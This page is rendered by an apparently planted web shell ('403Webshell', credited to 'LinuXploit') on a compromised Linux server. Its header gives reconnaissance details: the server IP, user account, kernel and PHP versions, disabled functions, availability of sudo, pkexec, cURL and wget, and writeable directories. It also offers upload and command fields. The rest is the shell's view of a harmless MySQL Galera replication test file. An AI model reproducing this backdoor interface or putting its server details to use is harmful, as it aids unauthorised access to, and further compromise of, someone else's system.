403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/galera/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/galera/include/galera_start_replication.inc
--echo Loading wsrep provider ...

--disable_query_log
#
# count occurences of successful node starts in error log
#
perl;
  use strict;
   my $test_log=$ENV{'LOG_FILE'} or die "LOG_FILE not set";
   my $test_log_copy=$test_log . '.copy';
   if (-e $test_log_copy) {
      unlink $test_log_copy;
   }

EOF
--copy_file $LOG_FILE $LOG_FILE.copy

#
#  now join to the cluster
#
--eval SET GLOBAL wsrep_cluster_address = '$wsrep_cluster_address_orig';

--enable_query_log

#
# Cluster address change above, will launch SST/IST
# if mysqldump ST has been configured, mysqld will close all
# client connections, and it will be hard for us to poll for
# cluster status during SST process, therefore wait_until_connected_again.inc
# and wait_until_ready.inc may fail in this phase
# To workaround this, we do first lazy polling here just to see when
# client connections will be possible, and after that check for node readyness
#
--disable_result_log
--disable_query_log

--error 0,1
perl;
  use strict;
  my $logfile = $ENV{'LOG_FILE'} or die ("no error log file set");

  my $counter = 1000;
  #my $found = false

  while ($counter > 0) {

    open(FILE, "$logfile") or die("Unable to open $logfile : $!\n");
    my $new_sync_count = () = grep(/Synchronized with group/g,<FILE>);
    close(FILE);

    open(FILEN, "$logfile.copy") or die("Unable to open $logfile.copy : $!\n");
    my $old_sync_count = () = grep(/Synchronized with group/g,<FILEN>);
    close(FILEN);

    if ($new_sync_count > $old_sync_count ) {
       exit(0);
    }
    $counter--;
    sleep(5);
  }
  exit(1);
EOF
if ($errno)
{
--echo "SST failed $errno"
}

--remove_file $LOG_FILE.copy

--enable_query_log
--enable_result_log
#--eval SET GLOBAL log_error = $log_error_;

--source include/galera_wait_ready.inc

Youez - 2016 - github.com/yon3zu
LinuXploit